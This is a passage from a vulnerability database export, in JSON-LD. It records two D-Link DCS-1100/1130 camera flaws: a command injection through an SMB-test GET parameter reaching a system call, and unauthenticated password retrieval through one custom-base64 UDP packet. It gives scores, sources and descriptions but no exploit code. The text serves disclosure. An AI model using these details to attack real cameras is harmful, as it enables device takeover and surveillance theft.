is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. There is a command injection vulnerability in the Recorder function in D-LinkDCS-1130. An attacker could exploit the vulnerability to control the device as an admin user and execute arbitrary code. This vulnerability stems from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1068",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"db": "NVD",
"id": "CVE-2017-8408"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8408",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2017-8408",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-21080",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-116611",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-8408",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8408",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2017-8408",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2019-21080",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-126",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-116611",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-8408",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"db": "VULHUB",
"id": "VHN-116611"
},
{
"db": "VULMON",
"id": "CVE-2017-8408"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-126"
},
{
"db": "NVD",
"id": "CVE-2017-8408"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the GET parameters passed in this request (to test if SMB credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The binary \"cgibox\" is the one that has the vulnerable function \"sub_7EAFC\" that receives the values sent by the GET request. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub_7EAFC in IDA pro is identified to be receiving the values sent in the GET request and the value set in GET parameter \"user\" is extracted in function sub_7E49C which is then passed to the vulnerable system API call. D-Link DCS-1130 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. There is a command injection vulnerability in the Recorder function in D-LinkDCS-1130. An attacker could exploit the vulnerability to control the device as an admin user and execute arbitrary code. This vulnerability stems from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8408"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"db": "VULHUB",
"id": "VHN-116611"
},
{
"db": "VULMON",
"id": "CVE-2017-8408"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8408",
"trust": 3.3
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-126",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-21080",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116611",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8408",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"db": "VULHUB",
"id": "VHN-116611"
},
{
"db": "VULMON",
"id": "CVE-2017-8408"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-126"
},
{
"db": "NVD",
"id": "CVE-2017-8408"
}
]
},
"id": "VAR-201907-1068",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"db": "VULHUB",
"id": "VHN-116611"
}
],
"trust": 1.3122449
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21080"
}
]
},
"last_update_date": "2024-11-23T21:37:04.573000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "DCS-1130",
"trust": 0.8,
"url": "https://eu.dlink.com/uk/en/products/dcs-1130-wireless-n-network-camera"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8408"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-77",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116611"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"db": "NVD",
"id": "CVE-2017-8408"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.2,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/77.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"db": "VULHUB",
"id": "VHN-116611"
},
{
"db": "VULMON",
"id": "CVE-2017-8408"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-126"
},
{
"db": "NVD",
"id": "CVE-2017-8408"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"db": "VULHUB",
"id": "VHN-116611"
},
{
"db": "VULMON",
"id": "CVE-2017-8408"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-126"
},
{
"db": "NVD",
"id": "CVE-2017-8408"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116611"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8408"
},
{
"date": "2019-07-09T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-126"
},
{
"date": "2019-07-02T16:15:11.643000",
"db": "NVD",
"id": "CVE-2017-8408"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"date": "2019-07-08T00:00:00",
"db": "VULHUB",
"id": "VHN-116611"
},
{
"date": "2023-04-26T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8408"
},
{
"date": "2019-07-09T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014550"
},
{
"date": "2019-07-09T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-126"
},
{
"date": "2024-11-21T03:33:58.673000",
"db": "NVD",
"id": "CVE-2017-8408"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-126"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1130 Command Injection Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21080"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-126"
}
],
"trust": 1.2
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "command injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-126"
}
],
"trust": 0.6
}
}
var-201907-1077
Vulnerability from variot
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device requires that a user logging into the device provide a username and password. However, the device allows D-Link apps on the mobile devices and desktop to communicate with the device without any authentication. As a part of that communication, the device uses custom version of base64 encoding to pass data back and forth between the apps and the device. However, the same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third party to retrieve the device's password without any authentication by sending just 1 UDP packet with custom base64 encoding. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there. D-Link DCS-1100 and DCS-1130 The device contains a certificate / password management vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in the D-LinkDCS-1100 and DCS-1130. The attacker can use the vulnerability to access the management interface by sending a simple UDP packet to view the captured image
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1077",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"db": "NVD",
"id": "CVE-2017-8417"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1110_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8417",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 3.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 6.5,
"id": "CVE-2017-8417",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "LOW",
"trust": 1.9,
"vectorString": "AV:A/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 3.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 6.5,
"id": "CNVD-2019-23334",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "LOW",
"trust": 0.6,
"vectorString": "AV:A/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 3.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 6.5,
"id": "VHN-116620",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "LOW",
"trust": 0.1,
"vectorString": "AV:A/AC:L/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "ADJACENT",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2017-8417",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Adjacent Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8417",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8417",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8417",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-23334",
"trust": 0.6,
"value": "LOW"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-119",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116620",
"trust": 0.1,
"value": "LOW"
},
{
"author": "VULMON",
"id": "CVE-2017-8417",
"trust": 0.1,
"value": "LOW"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"db": "VULHUB",
"id": "VHN-116620"
},
{
"db": "VULMON",
"id": "CVE-2017-8417"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-119"
},
{
"db": "NVD",
"id": "CVE-2017-8417"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device requires that a user logging into the device provide a username and password. However, the device allows D-Link apps on the mobile devices and desktop to communicate with the device without any authentication. As a part of that communication, the device uses custom version of base64 encoding to pass data back and forth between the apps and the device. However, the same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third party to retrieve the device\u0027s password without any authentication by sending just 1 UDP packet with custom base64 encoding. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there. D-Link DCS-1100 and DCS-1130 The device contains a certificate / password management vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in the D-LinkDCS-1100 and DCS-1130. The attacker can use the vulnerability to access the management interface by sending a simple UDP packet to view the captured image",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8417"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"db": "VULHUB",
"id": "VHN-116620"
},
{
"db": "VULMON",
"id": "CVE-2017-8417"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8417",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-119",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-23334",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116620",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8417",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"db": "VULHUB",
"id": "VHN-116620"
},
{
"db": "VULMON",
"id": "CVE-2017-8417"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-119"
},
{
"db": "NVD",
"id": "CVE-2017-8417"
}
]
},
"id": "VAR-201907-1077",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23334"
},
{
"db": "VULHUB",
"id": "VHN-116620"
}
],
"trust": 1.30915275
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23334"
}
]
},
"last_update_date": "2024-11-23T21:37:04.986000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8417"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014552"
}
]
},
"problemtype_data": {
"@context": {
